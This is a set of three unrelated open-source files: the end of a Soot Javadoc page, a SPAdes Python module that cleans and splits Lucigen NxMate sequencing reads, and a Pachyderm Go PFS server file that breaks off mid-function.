<DD><DL> </DL> </DD> </DL> <HR> <A NAME="apply(soot.jimple.parser.node.Switch)"><!-- --></A><H3> apply</H3> <PRE> public void <B>apply</B>(<A HREF="../../../../soot/jimple/parser/node/Switch.html" title="interface in soot.jimple.parser.node">Switch</A>&nbsp;sw)</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="getIdentifier()"><!-- --></A><H3> getIdentifier</H3> <PRE> public <A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A> <B>getIdentifier</B>()</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="setIdentifier(soot.jimple.parser.node.TIdentifier)"><!-- --></A><H3> setIdentifier</H3> <PRE> public void <B>setIdentifier</B>(<A HREF="../../../../soot/jimple/parser/node/TIdentifier.html" title="class in soot.jimple.parser.node">TIdentifier</A>&nbsp;node)</PRE> <DL> <DD><DL> </DL> </DD> </DL> <HR> <A NAME="toString()"><!-- --></A><H3> toString</H3> <PRE> public <A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/String.html" title="class or interface in java.lang">String</A> <B>toString</B>()</PRE> <DL> <DD><DL> <DT><B>Overrides:</B><DD><CODE><A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html#toString()" title="class or interface in java.lang">toString</A></CODE> in class <CODE><A HREF="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Object.html" title="class or interface in java.lang">Object</A></CODE></DL> </DD> <DD><DL> </DL> </DD> </DL> <!-- ========= END OF CLASS DATA ========= --> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/AIdentClassName.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../soot/jimple/parser/node/AGotoStmt.html" title="class in soot.jimple.parser.node"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../soot/jimple/parser/node/AIdentityNoTypeStatement.html" title="class in soot.jimple.parser.node"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../index.html?soot/jimple/parser/node/AIdentClassName.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="AIdentClassName.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
{ "pile_set_name": "Github" }
############################################################################ # Copyright (c) 2015 Saint Petersburg State University # Copyright (c) 2011-2014 Saint Petersburg Academic University # All Rights Reserved # See file LICENSE for details. ############################################################################ # based on IlluminaNxSeqJunction-Split7.py, IlluminaChimera-Clean4.py and ParseFastQ.py # all copyrights are below! # by Scott Monsma, Copyright (c) Lucigen Corp July 2014 - based on NxSeqFOS-SplitBfa4.py # Splits 'mates_ICC4_' files into left and right insert sequences by finding the Junction Code(s) # usage: copy IlluminaNxSeqJunction-Split6.py and ParseFastq.py into a directory with your fastq files to process # cd into directory with .py and .fastq # make sure your read 1 filename contains '_R1_' and read 2 filename contains '_R2_' # at command prompt type 'python IlluminaNxSeqJunction-Split7.py 'mates_ICC4_your-R1-filename.fastq' and hit enter # split sequences are saved if longer than minseq # output files are named 'R1_IJS7_mates_ICC4_your-R1-filename.fastq' and 'R2_IJS7_mates_ICC4_your-R2-filename.fastq' which are the trimmed mate pairs, and # 'unsplit_IJS7_yourfilename.fastq' which contains interleaved reads where no junction was found. # IlluminaChimera-Clean4 by Scott Monsma, Lucigen Corp Copyright (C) July 2014 # usage: copy IlluminaChimera-Clean4.py and ParseFastq.py into a directory with your fastq file to process # cd into directory with .py and .fastq # at command prompt type 'python IlluminaChimera-Clean4.py yourfilename.fastq' and hit enter # four new files will be created, 'mates_ICC4_your-R1-filename.fastq' and 'mates_ICC4_your-R2-filename.fastq' containing the # true mate pairs with matching chimera codes, and 'non-mates_ICC4_your-R1-filename.fastq' and 'non-mates_ICC4_your-R2-filename.fastq' # containing the chimera read pairs and unidentified read pairs import gzip import itertools import os import sys import time from site import addsitedir import support import spades_init try: import regex except ImportError: support.error("can't process Lucigen NxMate reads! Python module regex is not installed!") addsitedir(spades_init.ext_python_modules_home) if sys.version.startswith('2.'): from joblib2 import Parallel, delayed elif sys.version.startswith('3.'): from joblib3 import Parallel, delayed # CONSTANTS READS_PER_THREAD = 25000 THREADS = 1 READS_PER_BATCH = READS_PER_THREAD * THREADS # e.g. 100000 for 4 threads minseq = 25 # minimum length sequence to keep after trimming class ParseFastQ(object): """Returns a read-by-read fastQ parser analogous to file.readline()""" def __init__(self, filePath, headerSymbols=['@', '+']): """Returns a read-by-read fastQ parser analogous to file.readline(). Exmpl: parser.next() -OR- Its an iterator so you can do: for rec in parser: ... do something with rec ... rec is tuple: (seqHeader,seqStr,qualHeader,qualStr) """ if filePath.endswith('.gz'): self._file = gzip.open(filePath) else: self._file = open(filePath, 'rU') # filePath, 'rU') test with explicit filename self._currentLineNumber = 0 self._hdSyms = headerSymbols def __iter__(self): return self def next(self): # for both Python2 and Python3 return self.__next__() def __next__(self): """Reads in next element, parses, and does minimal verification. Returns: tuple: (seqHeader,seqStr,qualHeader,qualStr)""" # ++++ Get Next Four Lines ++++ elemList = [] for i in range(4): line = self._file.readline() self._currentLineNumber += 1 ## increment file position if line: elemList.append(line.strip('\n')) else: elemList.append(None) # ++++ Check Lines For Expected Form ++++ trues = [bool(x) for x in elemList].count(True) nones = elemList.count(None) # -- Check for acceptable end of file -- if nones == 4: raise StopIteration # -- Make sure we got 4 full lines of data -- assert trues == 4, \ "** ERROR: It looks like I encountered a premature EOF or empty line.\n\ Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**" % ( self._currentLineNumber) # -- Make sure we are in the correct "register" -- assert elemList[0].startswith(self._hdSyms[0]), \ "** ERROR: The 1st line in fastq element does not start with '%s'.\n\ Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**" % ( self._hdSyms[0], self._currentLineNumber) assert elemList[2].startswith(self._hdSyms[1]), \ "** ERROR: The 3rd line in fastq element does not start with '%s'.\n\ Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**" % ( self._hdSyms[1], self._currentLineNumber) # -- Make sure the seq line and qual line have equal lengths -- assert len(elemList[1]) == len(elemList[3]), "** ERROR: The length of Sequence data and Quality data of the last record aren't equal.\n\ Please check FastQ file near line number %s (plus or minus ~4 lines) and try again**" % ( self._currentLineNumber) # ++++ Return fatsQ data as tuple ++++ return tuple(elemList) def close(self): if self._file: self._file.close() def write_to_files(file_handlers, record_lists): for file_handler, record_list in zip(file_handlers, record_lists): for record in record_list: for line in record: file_handler.write(line + '\n') def split_into_chunks(l, n): avg = len(l) / float(n) out = [] last = 0.0 while last < len(l): out.append(l[int(last):int(last + avg)]) last += avg return out class CleanStats(object): def __init__(self): self.readcounter = 0 self.matecounter = 0 # for pairs where both trimmed reads are equal to or longer than minseq self.TOTALmatecounter = 0 self.slagcounter = 0 self.csscounter = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # 12 slots for the correct code combinations def __add__(self, other): self.readcounter += other.readcounter self.matecounter += other.matecounter self.TOTALmatecounter += other.TOTALmatecounter self.slagcounter += other.slagcounter self.csscounter = [x + y for x, y in zip(self.csscounter, other.csscounter)] return self def chimera_clean_process_batch(reads, csslist1, csslist2): stats = CleanStats() processed_out1 = [] processed_out2 = [] processed_slag1 = [] processed_slag2 = [] # rec is tuple: (seqHeader,seqStr,qualHeader,qualStr) for recR1, recR2 in reads: stats.readcounter += 1 # check if rec.seqStr contains match to chimera pattern for cssindex, css1 in enumerate(csslist1): m = regex.search(css1, recR1[1]) css2 = csslist2[cssindex] n = regex.search(css2, recR2[1]) if m and n: # a true mate pair! write out to mates files stats.TOTALmatecounter += 1 # NOTE TAKE THIS OPPORTUNITY TO RECORD CSS CODE AND TRUNCATE READS # need to trim additional 9+4 nts from end of match to remove css, Bst, barcode (9) and CGAT (4) linker stats.csscounter[cssindex] += 1 # increment the appropriate css counter R1matches = m.span() mend = R1matches[1] mend = mend + 13 mySeq = recR1[1] myR1 = mySeq[mend:] # trim the left end off of Read1 myQual1 = recR1[3] myR1Qual = myQual1[mend:] # trim the left end off of Read1 quality string R2matches = n.span() nend = R2matches[1] nend = nend + 13 mySeq2 = recR2[1] myR2 = mySeq2[nend:] # trim the left end off of Read2 myQual2 = recR2[3] myR2Qual = myQual2[nend:] # trim the left end off of Read2 quality string if (len(myR1) >= minseq) and (len(myR2) >= minseq): # and if one or other is too short, toss both stats.matecounter += 1 processed_out1.append([recR1[0], myR1, recR1[2], myR1Qual]) processed_out2.append([recR2[0], myR2, recR2[2], myR2Qual]) break # found it, go on to next rec else: # no chimera code in R1 so can't be a mate pair; write out to slag files if this is the last one if cssindex == 11: stats.slagcounter += 1 processed_slag1.append([recR1[0], recR1[1], recR1[2], recR1[3]]) processed_slag2.append([recR2[0], recR2[1], recR2[2], recR2[3]]) return [processed_out1, processed_out2, processed_slag1, processed_slag2], stats def chimera_clean(infilename1, infilename2, dst, log, silent=True): starttime = time.time() basename1 = os.path.basename(infilename1) if os.path.splitext(basename1)[1] == '.gz': basename1 = os.path.splitext(basename1)[0] basename2 = os.path.basename(infilename2) if os.path.splitext(basename2)[1] == '.gz': basename2 = os.path.splitext(basename2)[0] # open four outfiles outfilename1 = os.path.join(dst, 'mates_ICC4_' + basename1) outfile1 = open(outfilename1, 'w') slagfilename1 = os.path.join(dst, 'non-mates_ICC4_' + basename1) slagfile1 = open(slagfilename1, 'w') outfilename2 = os.path.join(dst, 'mates_ICC4_' + basename2) outfile2 = open(outfilename2, 'w') slagfilename2 = os.path.join(dst, 'non-mates_ICC4_' + basename2) slagfile2 = open(slagfilename2, 'w') # set up regular expression patterns for chimera codes- for illumin use the reverse complements of right codes csslist1 = ['(TGGACTCCACTGTG){e<=1}', '(ACTTCGCCACTGTG){e<=1}', '(TGAGTCCCACTGTG){e<=1}', '(TGACTGCCACTGTG){e<=1}', '(TCAGGTCCACTGTG){e<=1}', '(ATGTCACCACTGTG){e<=1}', '(GTATGACCACTGTG){e<=1}', '(GTCTACCCACTGTG){e<=1}', '(GTTGGACCACTGTG){e<=1}', '(CGATTCCCACTGTG){e<=1}', '(GGTTACCCACTGTG){e<=1}', '(TCACCTCCACTGTG){e<=1}'] csslist2 = ['(TCCAGACCAATGTG){e<=1}', '(ACATCACCAATGTG){e<=1}', '(TCACGACCAATGTG){e<=1}', '(TAGCACCCAATGTG){e<=1}', '(AACCTCCCAATGTG){e<=1}', '(ACAACTCCAATGTG){e<=1}', '(GTCTAACCAATGTG){e<=1}', '(TACACGCCAATGTG){e<=1}', '(GAGAACCCAATGTG){e<=1}', '(GAGATTCCAATGTG){e<=1}', '(GACCTACCAATGTG){e<=1}', '(AGACTCCCAATGTG){e<=1}'] # PARSE both files in tuples of 4 lines parserR1 = ParseFastQ(infilename1) parserR2 = ParseFastQ(infilename2) all_stats = CleanStats() n_jobs = THREADS while True: # prepare input reads1 = list(itertools.islice(parserR1, READS_PER_BATCH)) reads2 = list(itertools.islice(parserR2, READS_PER_BATCH)) if len(reads1) != len(reads2): support.error("lucigen_nxmate.py, chimera_clean: " "number of left reads (%d) is not equal to number of right reads (%d)!" % (len(reads1), len(reads2)), log) if not reads1: break chunks = split_into_chunks(list(zip(reads1, reads2)), n_jobs) # processing outputs = Parallel(n_jobs=n_jobs)(delayed(chimera_clean_process_batch)(reads, csslist1, csslist2) for reads in chunks) results, stats = [x[0] for x in outputs], [x[1] for x in outputs] # writing results for result, stat in zip(results, stats): write_to_files([outfile1, outfile2, slagfile1, slagfile2], result) all_stats += stat if not silent: log.info("==== chimera_clean progress: reads processed: %d, time elapsed: %s" % (all_stats.readcounter, time.strftime('%H:%M:%S', time.gmtime(time.time() - starttime)))) parserR1.close() parserR2.close() outfile1.close() slagfile1.close() outfile2.close() slagfile2.close() if all_stats.TOTALmatecounter + all_stats.slagcounter != all_stats.readcounter: support.error("lucigen_nxmate.py, chimera_clean: error in the script somewhere! Unequal read counts!", log) if all_stats.readcounter == 0: support.error("lucigen_nxmate.py, chimera_clean: error in input data! Number of processed reads is 0!", log) if not silent: # print some stats percentmates = 100. * all_stats.matecounter / all_stats.readcounter percentslag = 100. * all_stats.slagcounter / all_stats.readcounter log.info("==== chimera_clean info: processing finished!") log.info("==== chimera_clean info: %d reads processed, %d true mate reads (%.2f %%) " "and %d non-mates/chimeras (%.2f %%)." % (all_stats.readcounter, all_stats.matecounter, percentmates, all_stats.slagcounter, percentslag)) shortmates = all_stats.TOTALmatecounter - all_stats.matecounter log.info("==== chimera_clean info: %d mates too short to keep after trimming" % shortmates) elapsedtime = time.strftime('%H:%M:%S', time.gmtime(time.time() - starttime)) log.info("==== chimera_clean info: time elapsed: %s" % (elapsedtime)) log.info("==== chimera_clean info: " + str(all_stats.csscounter)) return outfilename1, outfilename2 class JunctionStats(object): def __init__(self): self.readcounter = 0 self.jctcounter = 0 self.splitcounter = 0 self.bothjctcounter = 0 self.R1jctcounter = 0 self.R2jctcounter = 0 self.R1R2jctcounter = 0 def __add__(self, other): self.readcounter += other.readcounter self.jctcounter += other.jctcounter self.splitcounter += other.splitcounter self.bothjctcounter += other.bothjctcounter self.R1jctcounter += other.R1jctcounter self.R2jctcounter += other.R2jctcounter self.R1R2jctcounter += other.R1R2jctcounter return self def nx_seq_junction_process_batch(reads, jctstr): stats = JunctionStats() processed_split1 = [] processed_split2 = [] processed_unsplit = [] for recR1, recR2 in reads: stats.readcounter += 1 m = regex.search(jctstr, recR1[1]) n = regex.search(jctstr, recR2[1]) if m and n: # found jctstr in both reads; need to save left part of R1 and LEFT part of R2 stats.bothjctcounter += 1 matches = m.span() start = matches[0] mySeq = recR1[1] # get the left part of Read1 myLeft = mySeq[:start] myQual = recR1[3] myLeftQual = myQual[:start] # get left part of Read1 quality string nmatches = n.span() nstart = nmatches[0] mySeq2 = recR2[1] myRight2 = mySeq2[:nstart] # get left part of Read2 myQual2 = recR2[3] myRightQual2 = myQual2[:nstart] # get left part of Read2 quality string # only write out as split if both pieces are big enough if (len(myLeft) > minseq) and (len(myRight2) > minseq): stats.splitcounter += 1 stats.R1R2jctcounter += 1 processed_split1.append([recR1[0], myLeft, recR1[2], myLeftQual]) processed_split2.append([recR2[0], myRight2, recR2[2], myRightQual2]) elif n: # junction only in R2, so save entire R1 and LEFT part of R2 IFF R2 long enough nmatches = n.span() nstart = nmatches[0] mySeq2 = recR2[1] myRight2 = mySeq2[:nstart] myQual2 = recR2[3] myRightQual2 = myQual2[:nstart] if (len(myRight2) > minseq): stats.splitcounter += 1 processed_split2.append([recR2[0], myRight2, recR2[2], myRightQual2]) processed_split1.append([recR1[0], recR1[1], recR1[2], recR1[3]]) stats.jctcounter += 1 stats.R2jctcounter += 1 elif m: # junction only in R1, save left part of R1 and entire R2, IFF R1 is long enough matches = m.span() start = matches[0] mySeq = recR1[1] myLeft = mySeq[:start] myQual = recR1[3] myLeftQual = myQual[:start] if (len(myLeft) > minseq): stats.splitcounter += 1 processed_split1.append([recR1[0], myLeft, recR1[2], myLeftQual]) processed_split2.append([recR2[0], recR2[1], recR2[2], recR2[3]]) stats.jctcounter += 1 stats.R1jctcounter += 1 else: # no junctions, save for frag use, as is 'unsplit'; note this file will be interleaved R1 R2 R1 R2... processed_unsplit.append([recR1[0], recR1[1], recR1[2], recR1[3]]) processed_unsplit.append([recR2[0], recR2[1], recR2[2], recR2[3]]) return [processed_split1, processed_split2, processed_unsplit], stats def nx_seq_junction(infilename1, infilename2, dst, log, silent=True): starttime = time.time() basename1 = os.path.basename(infilename1) if os.path.splitext(basename1)[1] == '.gz': basename1 = os.path.splitext(basename1)[0] basename2 = os.path.basename(infilename2) if os.path.splitext(basename2)[1] == '.gz': basename2 = os.path.splitext(basename2)[0] # open three outfiles splitfilenameleft = os.path.join(dst, 'R1_IJS7_' + basename1) splitfile1 = open(splitfilenameleft, 'w') splitfilenameright = os.path.join(dst, 'R2_IJS7_' + basename2) splitfile2 = open(splitfilenameright, 'w') unsplitfilename = os.path.join(dst, 'unsplit_IJS7_' + basename1.replace('_R1_', '_R1R2_')) unsplitfile = open(unsplitfilename, 'w') # jctstr = '(GGTTCATCGTCAGGCCTGACGATGAACC){e<=4}' # JS7 24/28 required results in ~92% detected in ion torrent # from NextClip: --adaptor_sequence GTTCATCGTCAGG -e --strict_match 22,11 --relaxed_match 20,10 eg strict 22/26 = 4 errors, relaxed 20/26 = 6 errors jctstr = '(GTTCATCGTCAGGCCTGACGATGAAC){e<=4}' # try 22/26 to match NextClip strict (e<=6 for relaxed) # PARSE both files in tuples of 4 lines parserR1 = ParseFastQ(infilename1) parserR2 = ParseFastQ(infilename2) all_stats = JunctionStats() n_jobs = THREADS while True: # prepare input reads1 = list(itertools.islice(parserR1, READS_PER_BATCH)) reads2 = list(itertools.islice(parserR2, READS_PER_BATCH)) if len(reads1) != len(reads2): support.error("lucigen_nxmate.py, nx_seq_junction: " "number of left reads (%d) is not equal to number of right reads (%d)!" % (len(reads1), len(reads2)), log) if not reads1: break chunks = split_into_chunks(list(zip(reads1, reads2)), n_jobs) # processing outputs = Parallel(n_jobs=n_jobs)(delayed(nx_seq_junction_process_batch)(reads, jctstr) for reads in chunks) results, stats = [x[0] for x in outputs], [x[1] for x in outputs] # writing results for result, stat in zip(results, stats): write_to_files([splitfile1, splitfile2, unsplitfile], result) all_stats += stat if not silent: log.info("==== nx_seq_junction progress: reads processed: %d, time elapsed: %s" % (all_stats.readcounter, time.strftime('%H:%M:%S', time.gmtime(time.time() - starttime)))) parserR1.close() parserR2.close() splitfile1.close() splitfile2.close() unsplitfile.close() if all_stats.readcounter == 0: support.error("lucigen_nxmate.py, nx_seq_junction: error in input data! Number of processed reads is 0!", log) if all_stats.splitcounter == 0: support.error("lucigen_nxmate.py, nx_seq_junction: error in input data! Number of split pairs is 0!", log) if not silent: # print some stats percentsplit = 100 * all_stats.splitcounter / all_stats.readcounter percentR1R2 = 100 * all_stats.R1R2jctcounter / all_stats.splitcounter percentR1 = 100 * all_stats.R1jctcounter / all_stats.splitcounter percentR2 = 100 * all_stats.R2jctcounter / all_stats.splitcounter log.info("==== nx_seq_junction info: processing finished!") log.info("==== nx_seq_junction info: %d reads processed" % (all_stats.readcounter)) log.info("==== nx_seq_junction info: %d total split pairs (%.2f %% of processed reads))" % (all_stats.splitcounter, percentsplit)) log.info("==== nx_seq_junction info: %d junctions in both R1 and R2 (%.2f %% of split junctions))" % (all_stats.R1R2jctcounter, percentR1R2)) log.info("==== nx_seq_junction info: %d split junctions are in Read1 (%.2f %% of split junctions))" % (all_stats.R1jctcounter, percentR1)) log.info("==== nx_seq_junction info: %d split junctions are in Read2 (%.2f %% of split junctions))" % (all_stats.R2jctcounter, percentR2)) elapsedtime = time.strftime('%H:%M:%S', time.gmtime(time.time() - starttime)) log.info("==== nx_seq_junction info: time elapsed: %s" % (elapsedtime)) parserR1.close() parserR2.close() return splitfilenameleft, splitfilenameright, unsplitfilename def process_reads(left_reads_fpath, right_reads_fpath, dst, log, threads): left_reads_fpath = left_reads_fpath.strip() right_reads_fpath = right_reads_fpath.strip() global READS_PER_BATCH global THREADS THREADS = threads READS_PER_BATCH = READS_PER_THREAD * threads # e.g. 100000 for 4 threads log.info("== Processing Lucigen NxMate reads (" + left_reads_fpath + " and " + os.path.basename(right_reads_fpath) + " (results are in " + dst + " directory)") cleaned_filename1, cleaned_filename2 = chimera_clean(left_reads_fpath, right_reads_fpath, dst, log, silent=False) split_filename1, split_filename2, unsplit_filename = nx_seq_junction(cleaned_filename1, cleaned_filename2, dst, log, silent=False) return split_filename1, split_filename2, unsplit_filename
{ "pile_set_name": "Github" }
package server import ( "bytes" "io" "time" "github.com/gogo/protobuf/types" "github.com/pachyderm/pachyderm/src/client/pfs" "github.com/pachyderm/pachyderm/src/client/pkg/errors" "github.com/pachyderm/pachyderm/src/client/pkg/grpcutil" "github.com/pachyderm/pachyderm/src/server/pkg/hashtree" "github.com/pachyderm/pachyderm/src/server/pkg/serviceenv" "github.com/pachyderm/pachyderm/src/server/pkg/storage/fileset" "github.com/pachyderm/pachyderm/src/server/pkg/storage/metrics" txnenv "github.com/pachyderm/pachyderm/src/server/pkg/transactionenv" "golang.org/x/net/context" ) var _ pfs.APIServer = &apiServerV2{} var errV1NotImplemented = errors.Errorf("V1 method not implemented") type apiServerV2 struct { *apiServer driver *driverV2 } func newAPIServerV2(env *serviceenv.ServiceEnv, txnEnv *txnenv.TransactionEnv, etcdPrefix string, treeCache *hashtree.Cache, storageRoot string, memoryRequest int64) (*apiServerV2, error) { s1, err := newAPIServer(env, txnEnv, etcdPrefix, treeCache, storageRoot, memoryRequest) if err != nil { return nil, err } d, err := newDriverV2(env, txnEnv, etcdPrefix, treeCache, storageRoot, memoryRequest) if err != nil { return nil, err } s2 := &apiServerV2{ apiServer: s1, driver: d, } go func() { s2.env.GetPachClient(context.Background()) }() // Begin dialing connection on startup return s2, nil } // DeleteRepoInTransaction is identical to DeleteRepo except that it can run // inside an existing etcd STM transaction. This is not an RPC. func (a *apiServerV2) DeleteRepoInTransaction(txnCtx *txnenv.TransactionContext, request *pfs.DeleteRepoRequest) error { if request.All { return a.driver.deleteAll(txnCtx) } return a.driver.deleteRepo(txnCtx, request.Repo, request.Force) } // FinishCommitInTransaction is identical to FinishCommit except that it can run // inside an existing etcd STM transaction. This is not an RPC. func (a *apiServerV2) FinishCommitInTransaction(txnCtx *txnenv.TransactionContext, request *pfs.FinishCommitRequest) error { return metrics.ReportRequest(func() error { return a.driver.finishCommitV2(txnCtx, request.Commit, request.Description) }) } // DeleteCommitInTransaction is identical to DeleteCommit except that it can run // inside an existing etcd STM transaction. This is not an RPC. func (a *apiServerV2) DeleteCommitInTransaction(txnCtx *txnenv.TransactionContext, request *pfs.DeleteCommitRequest) error { return a.driver.deleteCommit(txnCtx, request.Commit) } // BuildCommit is not implemented in V2. func (a *apiServerV2) BuildCommit(_ context.Context, _ *pfs.BuildCommitRequest) (*pfs.Commit, error) { return nil, errV1NotImplemented } // PutFile is not implemented in V2. func (a *apiServerV2) PutFile(_ pfs.API_PutFileServer) error { return errV1NotImplemented } // CopyFile implements the protobuf pfs.CopyFile RPC func (a *apiServerV2) CopyFile(ctx context.Context, request *pfs.CopyFileRequest) (response *types.Empty, retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) if err := a.driver.copyFile(a.env.GetPachClient(ctx), request.Src, request.Dst, request.Overwrite); err != nil { return nil, err } return &types.Empty{}, nil } // GetFile is not implemented in V2. func (a *apiServerV2) GetFile(_ *pfs.GetFileRequest, _ pfs.API_GetFileServer) error { return errV1NotImplemented } // InspectFile implements the protobuf pfs.InspectFile RPC func (a *apiServerV2) InspectFile(ctx context.Context, request *pfs.InspectFileRequest) (response *pfs.FileInfo, retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, response, retErr, time.Since(start)) }(time.Now()) return a.driver.inspectFile(a.env.GetPachClient(ctx), request.File) } // ListFile is not implemented in V2. func (a *apiServerV2) ListFile(_ context.Context, _ *pfs.ListFileRequest) (*pfs.FileInfos, error) { return nil, errV1NotImplemented } // ListFileStream implements the protobuf pfs.ListFileStream RPC func (a *apiServerV2) ListFileStream(request *pfs.ListFileRequest, server pfs.API_ListFileStreamServer) (retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) pachClient := a.env.GetPachClient(server.Context()) return a.driver.listFileV2(pachClient, request.File, request.Full, request.History, func(fi *pfs.FileInfo) error { return server.Send(fi) }) } // WalkFile implements the protobuf pfs.WalkFile RPC func (a *apiServerV2) WalkFile(request *pfs.WalkFileRequest, server pfs.API_WalkFileServer) (retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) pachClient := a.env.GetPachClient(server.Context()) return a.driver.walkFile(pachClient, request.File, func(fi *pfs.FileInfo) error { return server.Send(fi) }) } // GlobFile is not implemented in V2. func (a *apiServerV2) GlobFile(_ context.Context, _ *pfs.GlobFileRequest) (*pfs.FileInfos, error) { return nil, errV1NotImplemented } // GlobFileStream implements the protobuf pfs.GlobFileStream RPC func (a *apiServerV2) GlobFileStream(request *pfs.GlobFileRequest, server pfs.API_GlobFileStreamServer) (retErr error) { func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) return a.driver.globFileV2(a.env.GetPachClient(server.Context()), request.Commit, request.Pattern, func(fi *pfs.FileInfo) error { return server.Send(fi) }) } // DeleteFile is not implemented in V2. func (a *apiServerV2) DeleteFile(ctx context.Context, request *pfs.DeleteFileRequest) (response *types.Empty, retErr error) { return nil, errV1NotImplemented } // DeleteAll implements the protobuf pfs.DeleteAll RPC func (a *apiServerV2) DeleteAll(ctx context.Context, request *types.Empty) (response *types.Empty, retErr error) { err := a.txnEnv.WithWriteContext(ctx, func(txnCtx *txnenv.TransactionContext) error { return a.driver.deleteAll(txnCtx) }) if err != nil { return nil, err } return &types.Empty{}, nil } // Fsck is not implemented in V2. func (a *apiServerV2) Fsck(_ *pfs.FsckRequest, _ pfs.API_FsckServer) error { return errV1NotImplemented } func (a *apiServerV2) FileOperationV2(server pfs.API_FileOperationV2Server) (retErr error) { request, err := server.Recv() func() { a.Log(request, nil, nil, 0) }() defer func(start time.Time) { a.Log(request, nil, retErr, time.Since(start)) }(time.Now()) return metrics.ReportRequestWithThroughput(func() (int64, error) { if err != nil { return 0, err } var bytesRead int64 if err := a.driver.withUnorderedWriter(a.env.GetPachClient(server.Context()), request.Commit, func(fs *fileset.UnorderedWriter) error { for { request, err := server.Recv() if err != nil { if errors.Is(err, io.EOF) { return nil } return err } // TODO Validation. switch op := request.Operation.(type) { case *pfs.FileOperationRequestV2_PutTar: n, err := putTar(fs, server, op.PutTar) bytesRead += n if err != nil { return err } case *pfs.FileOperationRequestV2_DeleteFiles: if err := deleteFiles(fs, op.DeleteFiles); err != nil { return err } } } }); err != nil { return bytesRead, err } return bytesRead, server.SendAndClose(&types.Empty{}) }) } func putTar(uw *fileset.UnorderedWriter, server pfs.API_FileOperationV2Server, request *pfs.PutTarRequestV2) (int64, error) { ptr := &putTarReader{ server: server, r: bytes.NewReader(request.Data), } err := uw.Put(ptr, request.Tag) return ptr.bytesRead, err } type putTarReader struct { server pfs.API_FileOperationV2Server r *bytes.Reader bytesRead int64 } func (ptr *putTarReader) Read(data []byte) (int, error) { if ptr.r.Len() == 0 { request, err := ptr.server.Recv() if err != nil { return 0, err } op := 